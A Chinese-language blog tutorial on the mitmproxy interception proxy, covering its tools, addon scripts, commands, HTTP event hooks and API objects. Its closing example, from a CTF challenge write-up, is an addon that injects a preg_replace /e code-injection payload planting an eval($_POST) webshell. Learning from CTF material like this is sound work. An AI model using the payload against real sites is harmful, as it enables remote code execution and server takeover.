mitmproxy


mitmproxy是什么

mitm也就是man-in-the-middle中間人攻擊,顧名思義,mitmproxy就是一個可以用作中間人的基於python環境的工具包,可以用於查看流量,抓包改包,重放,可以實現和burpsuite一樣的功能,但是我覺得mitmproxy最大的優勢是基於python平台可以靈活地開發插件腳本。

mitmproxy安裝后包括3個工具:mitmproxymitmdumpmitmweb

  • mitmproxy
    mitmproxy是一個控制台工具,允許交互式檢查和修改HTTP流量。它與mitmdump的不同之處在於所有流都保存在內存中,這意味着它旨在獲取和處理小樣本。
  • mitmdump
    mitmdump是mitmproxy的命令行版本。它提供了類似tcpdump的功能,可讓您查看,記錄和以編程方式轉換HTTP流量。
  • mitmweb(處於測試階段)
    mitmweb是mitmproxy基於Web的用戶界面,它允許交互式檢查和修改HTTP流量。像mitmproxy一樣,它與mitmdump的不同之處在於所有流都保存在內存中,這意味着它旨在獲取和處理小樣本

mitmproxy能做什么

正向代理,反向代理,透明代理,代理鏈都可以

mitmproxy腳本/命令規范

插件腳本

有兩種加載方式,我這里只寫官方建議的

from mitmproxy import ctx


class Counter:
    def __init__(self):
        self.num = 0

    def request(self, flow):
        self.num = self.num + 1
        ctx.log.info("We've seen %d flows" % self.num)


addons = [
    Counter()
]

這是官網上一個例子,使用oop的方法,在addons數組中添加要加載的類,可以在命令行中使用mitmproxy -s addon.py來加載這個腳本,就可以在控制台的log中看到輸出的http請求的數量

命令

在mitmproxy控制台中可以輸入:command來執行命令,包括內置的和用戶定義的

from mitmproxy import command
from mitmproxy import ctx


class MyAddon:
    def __init__(self):
        self.num = 0

    @command.command("myaddon.inc")
    def inc(self) -> None:
        self.num += 1
        ctx.log.info("num = %s" % self.num)


addons = [
    MyAddon()
]

同樣是官網上的例子,mitmproxy -s addon.py后,輸入:myaddon.inc可以在控制台看到輸出

事件

插件通過事件hook到mitmproxy的內部機制中,事件可以在不同層面上分為5類:HTTP,TCP,Websocket,Network,General。其中最常用的就是HTTP事件,包括

def http_connect(self, flow: mitmproxy.http.HTTPFlow):
    """
        (Called when) 收到了來自客戶端的 HTTP CONNECT 請求。在 flow 上設置非 2xx 響應將返回該響應並斷開連接。CONNECT 不是常用的 HTTP 請求方法,目的是與服務器建立代理連接,僅是 client 與 proxy 的之間的交流,所以 CONNECT 請求不會觸發 request、response 等其他常規的 HTTP 事件
    """

def requestheaders(self, flow: mitmproxy.http.HTTPFlow):
    """
        (Called when) 來自客戶端的 HTTP 請求的頭部被成功讀取。此時 flow 中的 request 的 body 是空的。
    """

def request(self, flow: mitmproxy.http.HTTPFlow):
    """
        (Called when) 來自客戶端的 HTTP 請求被成功完整讀取。
    """

def responseheaders(self, flow: mitmproxy.http.HTTPFlow):
    """
        (Called when) 來自服務端的 HTTP 響應的頭部被成功讀取。此時 flow 中的 response 的 body 是空的。
    """

def response(self, flow: mitmproxy.http.HTTPFlow):
    """
        (Called when) 來自服務端端的 HTTP 響應被成功完整讀取。
    """

def error(self, flow: mitmproxy.http.HTTPFlow):
    """
        (Called when) 發生了一個 HTTP 錯誤。比如無效的服務端響應、連接斷開等。注意與“有效的 HTTP 錯誤返回”不是一回事,后者是一個正確的服務端響應,只是 HTTP code 表示錯誤而已。
    """

現在就可以理解之前例子里,在Counter類中的request方法是如何生效的

常用API

參考https://mitmproxy.readthedocs.io/en/v2.0.2/scripting/api.html

mitmproxy.http.HTTPRequest

  • cookies
    返回一個MultiDictView對象
  • get_content(strict: bool = True) → bytes
    使用內容編碼標頭(例如gzip)解碼的HTTP消息正文
  • get_text(strict: bool = True) → typing.Union[str, NoneType]
    使用內容編碼標頭(例如gzip)和內容類型標頭字符集解碼的HTTP消息正文。
  • headers
    返回mitmproxy.net.http.Headers對象
  • multipart_form
    多部分表單數據作為MultiDictView對象。
    鍵和值都是bytes。
  • pretty_url
  • urlencoded_form
    URL編碼的表單數據作為MultiDictView對象。
  • replace(pattern, repl, flags=0, count=0)
    將header,請求路徑和請求體中的repl替換為正則表達式模式。編碼后的內容將在替換前進行解碼,然后再進行編碼。

mitmproxy.http.HTTPResponse

  • make(status_code: int = 200, content: AnyStr = b'', headers: typing.Union[typing.Dict[AnyStr, AnyStr], typing.Iterable[typing.Tuple[bytes, bytes]]] = ())
    用於創建response對象的簡化API。
  • status_code
    狀態碼
  • 大部分和mitmproxy.http.HTTPRequest差不多

mitmproxy.http.HTTPFlow

HTTPFlow是代表單個HTTP事務的對象的集合

  • request
  • response

mitmproxy.log.Log

中央記錄器,在腳本中暴露為mitmproxy.ctx.log

  • debug
  • info
  • warn
  • error

使用實例

使用mitmproxy解決蟻劍連接問題
刷題記錄:[ByteCTF 2019]BabyBlog

from mitmproxy import http                                                    
                                                                              
class add_request:                                                            
                                                                              
    def request(self, flow) -> None:                                          
        flow.request.urlencoded_form['find'] = "/e\x00"                       
        flow.request.urlencoded_form['replace'] = "eval($_POST['a'])"         
        flow.request.urlencoded_form['id'] = "1"                              
        flow.request.urlencoded_form['regex'] = "1"                           
        flow.request.cookies['PHPSESSID'] = "8192498e1b72a3004a2093fc26f10d28"
                                                                              
addons = [                                                                    
    add_request()                                                             
]

這只是我實際使用mitmproxy的一個最簡陋的例子,更多例子可以參考使用 mitmproxy + python 做攔截代理

參考鏈接

官方文檔
使用 mitmproxy + python 做攔截代理


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM